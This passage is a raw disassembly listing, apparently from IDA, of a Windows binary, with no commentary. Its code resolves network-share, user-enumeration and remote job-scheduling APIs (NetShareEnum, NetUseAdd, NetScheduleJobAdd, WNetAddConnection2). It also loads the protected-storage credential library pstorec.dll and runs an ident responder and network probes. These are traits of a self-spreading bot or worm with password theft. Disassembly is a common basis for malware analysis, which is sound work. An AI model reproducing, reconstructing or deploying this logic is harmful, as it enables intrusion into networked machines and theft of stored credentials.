eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: sub_4038BA+C0j mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call dword_417228 ; getservbyport mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: .data:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call dword_417058 ; GetProcAddress mov dword_41DE40, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE48, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE4C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE50, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE54, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE58, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE5C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE60, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE64, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE68, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE6C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE70, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE74, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE78, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE84, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE88, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE8C, eax cmp dword_41DE84, 0 jz short loc_403D85 cmp dword_41DE88, 0 jz short loc_403D85 cmp dword_41DE8C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DE84, offset sub_403588 mov dword_41DE88, offset sub_4038BA mov dword_41DE8C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call dword_417058 ; GetProcAddress mov dword_41DE80, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call dword_417058 ; GetProcAddress mov dword_41DE7C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, byte_41EEC8 test eax, eax jz short loc_403F27 push offset byte_41EEC8 lea eax, [ebp+var_1224] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset dword_418A48 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset dword_418A40 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset dword_418A34 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp dword_41E294, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E298 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E294 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E298 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset dword_418A5C call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 